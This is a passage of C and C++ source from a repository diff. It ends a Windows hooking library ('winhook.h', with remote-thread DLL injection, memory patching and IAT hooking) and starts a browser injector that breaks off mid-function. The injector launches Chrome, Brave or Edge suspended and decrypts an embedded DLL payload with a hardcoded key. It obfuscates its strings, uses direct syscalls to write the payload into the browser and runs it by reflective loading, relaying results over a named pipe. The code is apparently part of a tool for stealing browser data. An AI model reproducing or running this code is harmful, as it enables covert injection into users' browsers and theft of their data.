{
do
{
if (_wcsicmp((const wchar_t*)process.szExeFile, exename) == 0)
{
pid = process.th32ProcessID;
break;
}
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
if (pid != 0) return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
return NULL; // Not found
}
size_t winhook_getimagebase(HANDLE hprocess)
{
//if (hprocess == GetCurrentProcess()) return (size_t)GetModuleHandleA(NULL);
HMODULE modules[1024]; // Array that receives the list of module handles
DWORD nmodules = 0;
char modulename[MAX_PATH] = {0};
if (!EnumProcessModules(hprocess, modules, sizeof(modules), &nmodules))
return 0; // impossible to read modules
if (!GetModuleFileNameExA(hprocess, modules[0], modulename, sizeof(modulename)))
return 0; // impossible to get module info
return (size_t)modules[0]; // module 0 is apparently always the EXE itself
}
BOOL winhook_injectdll(HANDLE hprocess, LPCSTR dllname)
{
LPVOID addr = VirtualAllocEx(hprocess,
0, 0x100, MEM_COMMIT, PAGE_READWRITE);
SIZE_T count;
if (addr == NULL) return FALSE;
WriteProcessMemory(hprocess,
addr, dllname, strlen(dllname)+1, (SIZE_T*)&count);
char name_kernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
HMODULE kernel32 = GetModuleHandleA(name_kernel32);
char name_LoadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
FARPROC pfnLoadlibraryA = GetProcAddress(kernel32, name_LoadLibraryA);
HANDLE hthread = CreateRemoteThread(hprocess, NULL, 0,
(LPTHREAD_START_ROUTINE)pfnLoadlibraryA, addr, 0, NULL);
if (hthread == NULL) return FALSE;
WaitForSingleObject(hthread, -1);
VirtualFreeEx(hprocess, addr, 0x100, MEM_COMMIT);
return TRUE;
}
void winhook_installconsole()
{
AllocConsole();
freopen("CONOUT$", "w", stdout);
}
// dynamic hook functions
BOOL winhook_patchmemoryex(HANDLE hprocess, LPVOID addr, const void* buf, size_t bufsize)
{
if (addr == NULL || buf == NULL) return FALSE;
DWORD oldprotect;
BOOL ret = VirtualProtectEx(hprocess, addr, bufsize, PAGE_EXECUTE_READWRITE, &oldprotect);
if (ret)
{
size_t n = 0;
WriteProcessMemory(hprocess, addr, buf, bufsize, (SIZE_T*)&n);
VirtualProtectEx(hprocess, addr, bufsize, oldprotect, &oldprotect);
}
return ret;
}
BOOL winhook_patchmemorysex(HANDLE hprocess, LPVOID addrs[], void* bufs[], size_t bufsizes[], int n)
{
int ret = 0;
for (int i = 0; i < n; i++)
{
ret += winhook_patchmemoryex(hprocess, addrs[i], bufs[i], bufsizes[i]);
}
return ret;
}
int winhook_patchmemorypattern(const char *pattern)
{
if (!pattern) return -1;
size_t imagebase = (size_t)GetModuleHandleA(NULL);
int res = 0;
int flag_rel = 0;
int j = 0;
while (pattern[j]) j++;
int patternlen = j;
DWORD oldprotect;
for(int i=0; i<patternlen; i++)
{
if(pattern[i]=='#')
{
while(pattern[i]!='\n' && i<patternlen) i++;
continue;
}
else if (pattern[i] == '\n' || pattern[i] == '\r')
{
continue;
}
else if (pattern[i]=='+')
{
flag_rel = 1;
i++;
}
while (pattern[i]==' ') i++;
size_t addr = 0;
int flag_nextline = 0;
for (;pattern[i]!=':' && i<patternlen; i++)
{
char c = pattern[i];
if(c>='0' && c<='9') c -= '0';
else if (c>='A' && c<='Z') c = c -'A' + 10;
else if (c>='a' && c<='z') c = c -'a' + 10;
else if (c=='\r' || c=='\n') {flag_nextline=1;break;}
else if (c==' ') continue;
else return -2;
addr = (addr<<4) + c;
}
if(flag_nextline) continue;
if(flag_rel) addr += imagebase;
int n = 0;
int v = 0;
int start = i++;
for(int j=0;j<2;j++)
{
n = 0;
for(;pattern[i]!='\n' && i<patternlen;i++)
{
char c = pattern[i];
if(c>='0' && c<='9') c -= '0';
else if (c>='A' && c<='Z') c = c - 'A' + 10;
else if (c>='a' && c<='z') c = c - 'a' + 10;
else if (c==';') break;
else continue;
n++;
if (j != 0)
{
v = (v << 4) + c;
if (!(n & 1))
{
*(uint8_t*)(addr + (n>>1) -1) = v;
v = 0;
res++;
}
}
}
if(n&1) return -3;
if (j == 0)
{
i = start;
VirtualProtect((void*)addr, n>>1, PAGE_EXECUTE_READWRITE, &oldprotect);
}
else VirtualProtect((void*)addr, n>>1, oldprotect, &oldprotect);
}
flag_rel = 0;
}
return res;
}
int winhook_patchmemory1337ex(HANDLE hprocess, const char* pattern, size_t base, BOOL revert)
{
#define IS_ENDLINE(c) (c==';' || c=='\r' || c=='\n')
enum FLAG1337 {
RVA1337,
OLDBYTE1337,
NEWBYTE1337
} flag1337 = RVA1337;
if (hprocess == NULL) return -1;
int res = 0;
int i = 0;
while (pattern[i]) i++;
int patternlen = i;
i = 0;
while (pattern[i] != '>') i++; // title line
while (!IS_ENDLINE(pattern[i])) i++;
while (IS_ENDLINE(pattern[i])) i++;
size_t rva = 0;
uint8_t oldbyte = 0, newbyte = 0;
for (; i < patternlen; i++)
{
char c = pattern[i];
if (c == ':') // oldbyte indicator
{
flag1337 = OLDBYTE1337;
}
else if (c == '-') // newbyte indicator
{
if (pattern[i + 1] != '>') return -1;
flag1337 = NEWBYTE1337;
i++;
}
else if (IS_ENDLINE(c)) // flush patch
{
if (flag1337 == RVA1337) continue;
uint8_t* patchbyte = revert ? &oldbyte : &newbyte;
winhook_patchmemoryex(hprocess, (LPVOID)(base + rva), patchbyte, 1);
flag1337 = RVA1337;
rva = 0;
oldbyte = 0;
newbyte = 0;
res++;
}
else if (c == ' ')
{
continue;
}
else
{
if (c >= '0' && c <= '9') c -= '0';
else if (c >= 'A' && c <= 'Z') c = c - 'A' + 10;
else if (c >= 'a' && c <= 'z') c = c - 'a' + 10;
else continue;
switch (flag1337)
{
case RVA1337:
rva = (rva << 4) | (uint8_t)c;
break;
case OLDBYTE1337:
oldbyte = (oldbyte << 4) | (uint8_t)c;
break;
case NEWBYTE1337:
newbyte = (newbyte << 4) | (uint8_t)c;
break;
}
}
}
return res;
}
int winhook_patchmemoryipsex(HANDLE hprocess, const char* pattern, size_t base)
{
#define BYTE3_TO_UINT_BIGENDIAN(bp) \
(((unsigned int)(bp)[0] << 16) & 0x00FF0000) | \
(((unsigned int)(bp)[1] << 8) & 0x0000FF00) | \
((unsigned int)(bp)[2] & 0x000000FF)
#define BYTE2_TO_UINT_BIGENDIAN(bp) \
(((unsigned int)(bp)[0] << 8) & 0xFF00) | \
((unsigned int) (bp)[1] & 0x00FF)
if(strncmp(pattern, "PATCH", 5) !=0 ) return -1;
int res = 0;
const uint8_t* p = (uint8_t*)pattern + 5;
while (strncmp((char*)p, "EOF", 3) != 0)
{
unsigned int offset = BYTE3_TO_UINT_BIGENDIAN(p);
unsigned int size = BYTE2_TO_UINT_BIGENDIAN(p + 3);
p += 5;
if (size == 0) // use RLE compress
{
unsigned int size_rle = BYTE2_TO_UINT_BIGENDIAN(p);
return -2; // not implemented yet
}
else
{
size_t addr = base + offset;
winhook_patchmemoryex(hprocess, (LPVOID)addr, p, size);
p += size;
res += size;
}
}
return res;
}
void* winhook_searchmemory(void* addr,
size_t memsize, const char* pattern, size_t* pmatchsize)
{
size_t i = 0;
int matchend = 0;
void* matchaddr = NULL;
while (i < memsize)
{
int j = 0;
int matchflag = 1;
matchend = 0;
while (pattern[j])
{
if (pattern[j] == 0x20)
{
j++;
continue;
}
char _c1 = (((char*)addr)[i+matchend]>>4) & 0x0f;
_c1 = _c1 < 10 ? _c1 + '0' : (_c1 - 10) + 'A';
char _c2 = (((char*)addr)[i+matchend]&0xf) & 0x0f;
_c2 = _c2 < 10 ? _c2 + '0' : (_c2 - 10) + 'A';
if (pattern[j] != '?')
{
if (_c1 != pattern[j] && _c1 + 0x20 != pattern[j])
{
matchflag = 0;
break;
}
}
if (pattern[j + 1] != '?')
{
if (_c2 != pattern[j+1] && _c2 + 0x20 != pattern[j+1])
{
matchflag = 0;
break;
}
}
j += 2;
matchend++;
}
if (matchflag)
{
matchaddr = (void*)((uint8_t*)addr + i);
break;
}
i++;
}
if (pmatchsize) *pmatchsize = matchend;
return matchaddr;
}
void* winhook_searchmemoryex(HANDLE hprocess,
void* addr, size_t memsize, const char* pattern, size_t* pmatchsize)
{
void* buf = VirtualAlloc(NULL, memsize, MEM_COMMIT, PAGE_READWRITE);
size_t bufsize = 0;
ReadProcessMemory(hprocess, addr, buf, memsize, (SIZE_T*)&bufsize);
void* matchaddr = winhook_searchmemory(buf, memsize, pattern, pmatchsize);
VirtualFree(buf, 0, MEM_RELEASE);
if (!matchaddr) return matchaddr;
size_t offset = (size_t)matchaddr - (size_t)buf;
return (void*)((uint8_t*)addr + offset);
}
BOOL winhook_iathookpe(LPCSTR targetDllName, void* mempe, PROC pfnOrg, PROC pfnNew)
{
size_t imagebase = (size_t)mempe;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)imagebase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)
((uint8_t*)imagebase + pDosHeader->e_lfanew);
PIMAGE_FILE_HEADER pFileHeader = &pNtHeader->FileHeader;
PIMAGE_OPTIONAL_HEADER pOptHeader = &pNtHeader->OptionalHeader;
PIMAGE_DATA_DIRECTORY pDataDirectory = pOptHeader->DataDirectory;
PIMAGE_DATA_DIRECTORY pImpEntry =
&pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR pImpDescriptor =
(PIMAGE_IMPORT_DESCRIPTOR)(imagebase + pImpEntry->VirtualAddress);
DWORD dwOldProtect = 0;
for (; pImpDescriptor->Name; pImpDescriptor++)
{
// find the dll IMPORT_DESCRIPTOR
LPCSTR pDllName = (LPCSTR)(imagebase + pImpDescriptor->Name);
if (!_stricmp(pDllName, targetDllName)) // ignore case
{
PIMAGE_THUNK_DATA pFirstThunk = (PIMAGE_THUNK_DATA)(imagebase + pImpDescriptor->FirstThunk);
// find the iat function va
for (; pFirstThunk->u1.Function; pFirstThunk++)
{
if (pFirstThunk->u1.Function == (size_t)pfnOrg)
{
VirtualProtect((LPVOID)&pFirstThunk->u1.Function, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect);
pFirstThunk->u1.Function = (size_t)pfnNew;
VirtualProtect((LPVOID)&pFirstThunk->u1.Function, 4, dwOldProtect, &dwOldProtect);
return TRUE;
}
}
}
}
return FALSE;
}
#ifndef WINHOOK_NO3RDLIB
#ifndef MINHOOK_IMPLEMENTATION
#define MINHOOK_IMPLEMENTATION
#define MINHOOK_STATIC
#endif // MINHOOK_IMPLEMENTATION
#ifdef USECOMPAT
#include "stb_minhook_v1331.h"
#else
#include "stb_minhook.h"
#endif
int winhook_inlinehooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n)
{
int i;
MH_Initialize();
for(i=0; i<n ;i++)
{
MH_STATUS status;
if(!pfnNews[i] || !pfnTargets[i]) continue;
status = MH_CreateHook(pfnTargets[i], pfnNews[i], &pfnOlds[i]);
if(status!= MH_OK) return i;
status = MH_EnableHook(pfnTargets[i]);
if(status!= MH_OK) return i;
}
return i;
}
int winhook_inlineunhooks(PVOID pfnTargets[], PVOID pfnNews[], PVOID pfnOlds[], int n)
{
int i;
for(i=0; i<n ;i++)
{
if(!pfnNews[i] || !pfnTargets[i]) continue;
MH_DisableHook(pfnTargets[i]);
}
if(MH_Uninitialize() != MH_OK) return 0;
return i;
}
#endif // WINHOOK_NO3RDLIB
#endif // MINHOOK_IMPLEMENTATION
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // _WINHOOK_H
/**
* history:
* v0.1, initial version
* v0.2, add make this to single file
* v0.2.2, add WINHOOK_STATIC, WINHOOK_SHARED macro
* v0.2.3, change name to winhook.h and add guard for function name
* v0.2.4, add winhook_searchmemory
* v0.2.5, add minhook backend, compatible withh gcc, tcc
* v0.2.6, support function to patch or search other process memory
* v0.2.7, add win_startexeinject, fix winhook_searchmemoryex match bug
* v0.3, use javadoc style, add winhook_patchmemorypattern
* v0.3.1, add winhook_patchmemory1337, winhook_patchmemoryips
* v0.3.2, improve macro style, chaneg some of macro to function
* v0.3.3, seperate some macro to commdef
*/
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
+980
View File
@@ -0,0 +1,980 @@
#include "Fokos.h"
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#include <string>
#include <vector>
#include "Encrypt.h"
#include <sstream>
#include <iomanip>
#include <filesystem>
#include <optional>
#include <map>
#include <memory>
#include <stdexcept>
#include "nlohmann/json.hpp"
#include <fstream> // for std::ifstream
#include <vector> // for std::vector
#include <cstdint>
#include <algorithm>
#include "BRSHt/syscalls.h"
#pragma comment(lib, "Rpcrt4.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "version.lib")
#pragma comment(lib, "user32.lib")
using json = nlohmann::json;
#ifndef IMAGE_FILE_MACHINE_AMD64
#define IMAGE_FILE_MACHINE_AMD64 0x8664
#endif
#ifndef IMAGE_FILE_MACHINE_ARM64
#define IMAGE_FILE_MACHINE_ARM64 0xAA64
#endif
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
namespace
{
constexpr DWORD DLL_COMPLETION_TIMEOUT_MS = 60000;
const uint8_t g_decryptionKey[32] = {
0x1B, 0x27, 0x55, 0x64, 0x73, 0x8B, 0x9F, 0x4D,
0x58, 0x4A, 0x7D, 0x67, 0x8C, 0x79, 0x77, 0x46,
0xBE, 0x6B, 0x4E, 0x0C, 0x54, 0x57, 0xCD, 0x95,
0x18, 0xDE, 0x7E, 0x21, 0x47, 0x66, 0x7C, 0x94 };
const uint8_t g_decryptionNonce[12] = {
0x4A, 0x51, 0x78, 0x62, 0x8D, 0x2D, 0x4A, 0x54,
0x88, 0xE5, 0x3C, 0x50 };
namespace fs = std::filesystem;
struct HandleDeleter
{
void operator()(HANDLE h) const
{
if (h && h != INVALID_HANDLE_VALUE)
CloseHandle(h);
}
};
using UniqueHandle = std::unique_ptr<void, HandleDeleter>;
namespace Utils
{
std::string WStringToUtf8(std::wstring_view w_sv)
{
if (w_sv.empty())
return {};
int size_needed = WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()), nullptr, 0, nullptr, nullptr);
std::string utf8_str(size_needed, '\0');
WideCharToMultiByte(CP_UTF8, 0, w_sv.data(), static_cast<int>(w_sv.length()), &utf8_str[0], size_needed, nullptr, nullptr);
return utf8_str;
}
std::string PtrToHexStr(const void* ptr)
{
std::ostringstream oss;
oss << EC("0x") << std::hex << reinterpret_cast<uintptr_t>(ptr);
return oss.str();
}
std::string NtStatusToString(NTSTATUS status)
{
std::ostringstream oss;
oss << EC("0x") << std::hex << status;
return oss.str();
}
std::wstring GenerateUniquePipeName()
{
UUID uuid;
UuidCreate(&uuid);
wchar_t* uuidStrRaw = nullptr;
UuidToStringW(&uuid, (RPC_WSTR*)&uuidStrRaw);
std::wstring pipeName = EC(L"\\\\.\\pipe\\") + std::wstring(uuidStrRaw);
RpcStringFreeW((RPC_WSTR*)&uuidStrRaw);
return pipeName;
}
}
}
std::string Nemmmmy;
void DecryptString(std::string& data, BYTE key)
{
for (size_t i = 0; i < data.size(); i++)
data[i] ^= key;
}
// Load and decrypt data from file
bool LoadDecryptedFromFile(std::string& outData, const std::string& filePath, BYTE key)
{
std::ifstream in(filePath, std::ios::binary);
if (!in)
return false;
std::string encrypted((std::istreambuf_iterator<char>(in)), std::istreambuf_iterator<char>());
DecryptString(encrypted, key);
outData = std::move(encrypted);
return true;
}
class Console
{
public:
explicit Console(bool verbose) : m_verbose(verbose), m_hConsole(GetStdHandle(STD_OUTPUT_HANDLE))
{
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
GetConsoleScreenBufferInfo(m_hConsole, &consoleInfo);
m_originalAttributes = consoleInfo.wAttributes;
}
void displayBanner() const
{
}
void printUsage() const
{
}
void Info(const std::string& msg) const { print(EC("[*]"), msg, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
void Success(const std::string& msg) const { print(EC("[+]"), msg, FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
void Error(const std::string& msg) const { print(EC("[-]"), msg, FOREGROUND_RED | FOREGROUND_INTENSITY); }
void Warn(const std::string& msg) const { print(EC("[!]"), msg, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); }
void Debug(const std::string& msg) const
{
print(EC("[#]"), msg, FOREGROUND_RED | FOREGROUND_GREEN);
}
void Relay(const std::string& message) const
{
size_t tagStart = message.find('[');
size_t tagEnd = message.find(']', tagStart);
if (tagStart != std::string::npos && tagEnd != std::string::npos)
{
std::cout << message.substr(0, tagStart);
std::string tag = message.substr(tagStart, tagEnd - tagStart + 1);
WORD color = m_originalAttributes;
if (tag == EC("[+]"))
color = FOREGROUND_GREEN | FOREGROUND_INTENSITY;
else if (tag == EC("[-]"))
color = FOREGROUND_RED | FOREGROUND_INTENSITY;
else if (tag == EC("[*]"))
color = FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
else if (tag == EC("[!]"))
color = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY;
SetColor(color);
std::cout << tag;
ResetColor();
std::cout << message.substr(tagEnd + 1) << std::endl;
}
else
{
std::cout << message << std::endl;
}
}
private:
void print(const std::string& tag, const std::string& msg, WORD color) const
{
SetColor(color);
std::cout << tag;
ResetColor();
std::cout << " " << msg << std::endl;
}
void SetColor(WORD attributes) const { SetConsoleTextAttribute(m_hConsole, attributes); }
void ResetColor() const { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); }
bool m_verbose;
HANDLE m_hConsole;
WORD m_originalAttributes;
};
struct Configuration
{
bool verbose = false;
fs::path outputPath;
std::wstring browserType;
std::wstring browserProcessName;
std::wstring browserDefaultExePath;
std::string browserDisplayName;
// Original function
[[nodiscard]] static std::optional<Configuration> CreateFromArgs(int argc, wchar_t* argv[], const Console& console)
{
Configuration config;
fs::path customOutputPath;
for (int i = 1; i < argc; ++i)
{
std::wstring_view arg = argv[i];
if (arg == EC(L"--verbose") || arg == EC(L"-v"))
config.verbose = true;
else if ((arg == EC(L"--output-path") || arg == EC(L"-o")) && i + 1 < argc)
customOutputPath = argv[++i];
else if (arg == EC(L"--help") || arg == EC(L"-h"))
{
console.printUsage();
return std::nullopt;
}
else if (config.browserType.empty() && !arg.empty() && arg[0] != L'-')
config.browserType = arg;
else
{
console.Warn(EC("Unknown or misplaced argument: ") + Utils::WStringToUtf8(arg));
return std::nullopt;
}
}
if (config.browserType.empty())
{
console.printUsage();
return std::nullopt;
}
std::transform(config.browserType.begin(), config.browserType.end(), config.browserType.begin(), ::towlower);
static const std::map<std::wstring, std::pair<std::wstring, std::wstring>> browserMap = {
{EC(L"chrome"), {EC(L"chrome.exe"), EC(L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe")}},
{EC(L"brave"), {EC(L"brave.exe"), EC(L"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe")}},
{EC(L"edge"), {EC(L"msedge.exe"), EC(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")}} };
auto it = browserMap.find(config.browserType);
if (it == browserMap.end())
{
console.Error(EC("Unsupported browser type: ") + Utils::WStringToUtf8(config.browserType));
return std::nullopt;
}
config.browserProcessName = it->second.first;
config.browserDefaultExePath = it->second.second;
std::string displayName = Utils::WStringToUtf8(config.browserType);
if (!displayName.empty())
displayName[0] = static_cast<char>(std::toupper(static_cast<unsigned char>(displayName[0])));
config.browserDisplayName = displayName;
config.outputPath = customOutputPath.empty() ? fs::current_path() / EC("output") : fs::absolute(customOutputPath);
return config;
}
// New overload for simple browser string
[[nodiscard]] static std::optional<Configuration> CreateFromArgs(const std::wstring& browser)
{
Configuration config;
std::wstring browserType = browser;
std::transform(browserType.begin(), browserType.end(), browserType.begin(), ::towlower);
static const std::map<std::wstring, std::pair<std::wstring, std::wstring>> browserMap = {
{EC(L"chrome"), {EC(L"chrome.exe"), EC(L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe")}},
{EC(L"brave"), {EC(L"brave.exe"), EC(L"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe")}},
{EC(L"edge"), {EC(L"msedge.exe"), EC(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")}} };
auto it = browserMap.find(browserType);
if (it == browserMap.end())
{
return std::nullopt;
}
config.browserType = browserType;
config.browserProcessName = it->second.first;
config.browserDefaultExePath = it->second.second;
std::string displayName = Utils::WStringToUtf8(config.browserType);
if (!displayName.empty())
displayName[0] = static_cast<char>(std::toupper(static_cast<unsigned char>(displayName[0])));
config.browserDisplayName = displayName;
config.outputPath = fs::current_path() / EC("output"); // default output path
return config;
}
};
class TargetProcess
{
public:
TargetProcess(const Configuration& config, const Console& console) : m_config(config), m_console(console) {}
void createSuspended()
{
m_console.Info(EC("Creating suspended ") + m_config.browserDisplayName + EC(" process."));
m_console.Debug(EC("Target executable path: ") + Utils::WStringToUtf8(m_config.browserDefaultExePath));
STARTUPINFOW si{};
PROCESS_INFORMATION pi{};
si.cb = sizeof(si);
if (!CreateProcessW(
m_config.browserDefaultExePath.c_str(), nullptr,
nullptr, nullptr, FALSE, CREATE_SUSPENDED,
nullptr, nullptr, &si, &pi))
{
}
m_hProcess.reset(pi.hProcess);
m_hThread.reset(pi.hThread);
m_pid = pi.dwProcessId;
m_console.Success(EC("Created suspended process PID: ") + std::to_string(m_pid));
checkArchitecture();
}
void terminate()
{
if (m_hProcess)
{
m_console.Debug(EC("Terminating browser PID=") + std::to_string(m_pid) + EC(" via direct syscall."));
NtTerminateProcess_syscall(m_hProcess.get(), 0);
m_console.Info(m_config.browserDisplayName + EC(" terminated by injector."));
}
}
HANDLE getProcessHandle() const { return m_hProcess.get(); }
USHORT getArch() const { return m_arch; }
private:
void checkArchitecture()
{
m_arch = IMAGE_FILE_MACHINE_AMD64;
m_console.Debug(EC("Architecture match: Injector=, Target=") + std::string(getArchName(m_arch)));
}
const char* getArchName(USHORT arch) const
{
switch (arch)
{
case IMAGE_FILE_MACHINE_AMD64:
return EC("x64");
case IMAGE_FILE_MACHINE_ARM64:
return EC("ARM64");
case IMAGE_FILE_MACHINE_I386:
return EC("x86");
default:
return EC("Unknown");
}
}
const Configuration& m_config;
const Console& m_console;
DWORD m_pid = 0;
UniqueHandle m_hProcess;
UniqueHandle m_hThread;
USHORT m_arch = 0;
};
std::string GetTempPathStr()
{
char buf[MAX_PATH];
DWORD len = GetTempPathA(MAX_PATH, buf);
return std::string(buf, len);
}
class PipeCommunicator
{
public:
PipeCommunicator(const std::wstring& pipeName, const Console& console) : m_pipeName(pipeName), m_console(console) {}
void create()
{
m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
1, 4096, 4096, 0, nullptr));
if (!m_pipeHandle)
{
}
m_console.Debug(EC("Named pipe server created: ") + Utils::WStringToUtf8(m_pipeName));
}
void waitForClient()
{
m_console.Debug(EC("Waiting for payload to connect to named pipe."));
BOOL connected = ConnectNamedPipe(m_pipeHandle.get(), nullptr);
if (!connected)
{
DWORD err = GetLastError();
if (err == ERROR_PIPE_CONNECTED)
{
// The client connected before ConnectNamedPipe was called
m_console.Debug(EC("Payload already connected to named pipe (ERROR_PIPE_CONNECTED)."));
}
else
{
// Something went wrong
std::ostringstream oss;
oss << "Failed to connect to named pipe. Error code: " << err;
m_console.Debug(oss.str().c_str());
return; // optionally bail out
}
}
m_console.Debug(EC("Payload connected to named pipe."));
}
void sendInitialData(bool isVerbose, const fs::path& outputPath)
{
writeMessage(isVerbose ? EC("VERBOSE_TRUE") : EC("VERBOSE_FALSE"));
writeMessage(outputPath.string());
}
void relayMessages()
{
m_console.Info(EC("Waiting for payload execution. (Pipe: ") + Utils::WStringToUtf8(m_pipeName) + EC(")"));
std::cout << std::endl;
const std::string dllCompletionSignal = EC("__DLL_PIPE_COMPLETION_SIGNAL__");
DWORD startTime = GetTickCount();
std::string accumulatedData;
char buffer[4096];
bool completed = false;
while (!completed && (GetTickCount() - startTime < DLL_COMPLETION_TIMEOUT_MS))
{
DWORD bytesAvailable = 0;
if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr))
{
if (GetLastError() == ERROR_BROKEN_PIPE)
break;
m_console.Error(EC("PeekNamedPipe failed. Error: ") + std::to_string(GetLastError()));
break;
}
if (bytesAvailable == 0)
{
Sleep(100);
continue;
}
DWORD bytesRead = 0;
if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
{
if (GetLastError() == ERROR_BROKEN_PIPE)
break;
continue;
}
accumulatedData.append(buffer, bytesRead);
size_t messageStart = 0;
size_t nullPos;
while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos)
{
std::string message = accumulatedData.substr(messageStart, nullPos - messageStart);
messageStart = nullPos + 1;
if (message == dllCompletionSignal)
{
m_console.Debug(EC("Payload completion signal received."));
completed = true;
break;
}
if (!message.empty())
{
if (Nemmmmy.empty())
{
if (message.find(EC("NUMMORO")) != std::string::npos)
{
Nemmmmy = message.substr(message.size() - 4);
}
else
{
m_console.Relay(message);
}
}
else
{
m_console.Relay(message);
}
}
}
if (completed)
break;
accumulatedData.erase(0, messageStart);
}
std::cout << std::endl;
m_console.Success(EC("Payload signaled completion or pipe interaction ended."));
}
const std::wstring& getName() const { return m_pipeName; }
private:
void writeMessage(const std::string& msg)
{
DWORD bytesWritten = 0;
if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast<DWORD>(msg.length() + 1), &bytesWritten, nullptr) ||
bytesWritten != (msg.length() + 1))
{
}
m_console.Debug(EC("Sent message to pipe: ") + msg);
}
std::wstring m_pipeName;
const Console& m_console;
UniqueHandle m_pipeHandle;
};
class InjectionManager
{
public:
InjectionManager(TargetProcess& target, const Console& console)
: m_target(target), m_console(console) {
}
void execute(const std::wstring& pipeName, std::vector<BYTE> exxx)
{
m_decryptedDllPayload = std::move(exxx);
m_console.Debug(EC("Parsing payload PE headers for ReflectiveLoader."));
DWORD rdiOffset = getReflectiveLoaderOffset();
m_console.Debug(EC("ReflectiveLoader found at file offset: ") + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset));
m_console.Debug(EC("Allocating memory for payload in target process."));
PVOID remoteDllBase = nullptr;
SIZE_T payloadDllSize = m_decryptedDllPayload.size();
SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t);
SIZE_T totalAllocationSize = payloadDllSize + pipeNameByteSize;
NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, 0, &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
m_console.Debug(EC("Combined memory for payload and parameters allocated at: ") + Utils::PtrToHexStr(remoteDllBase));
m_console.Debug(EC("Writing payload DLL to target process."));
SIZE_T bytesWritten = 0;
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteDllBase, m_decryptedDllPayload.data(), payloadDllSize, &bytesWritten);
m_console.Debug(EC("Writing pipe name parameter into the same allocation."));
LPVOID remotePipeNameAddr = reinterpret_cast<PBYTE>(remoteDllBase) + payloadDllSize;
status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr, (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten);
m_console.Debug(EC("Changing payload memory protection to executable."));
ULONG oldProtect = 0;
status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteDllBase, &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect);
startHijackedThreadInTarget(remoteDllBase, rdiOffset, remotePipeNameAddr);
m_console.Success(EC("New thread created for payload. Main thread remains suspended."));
}
private:
DWORD getReflectiveLoaderOffset()
{
auto dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(m_decryptedDllPayload.data());
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
return 0;
auto ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>((uintptr_t)m_decryptedDllPayload.data() + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
return 0;
auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportDirRva == 0)
return 0;
auto RvaToOffset = [&](DWORD rva) -> PVOID
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section)
{
if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize)
{
return (PVOID)((uintptr_t)m_decryptedDllPayload.data() + section->PointerToRawData + (rva - section->VirtualAddress));
}
}
return nullptr;
};
auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva);
if (!exportDir)
return 0;
auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames);
auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals);
auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions);
if (!names || !ordinals || !funcs)
return 0;
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
{
char* funcName = (char*)RvaToOffset(names[i]);
if (funcName && strcmp(funcName, EC("ReflectiveLoader")) == 0)
{
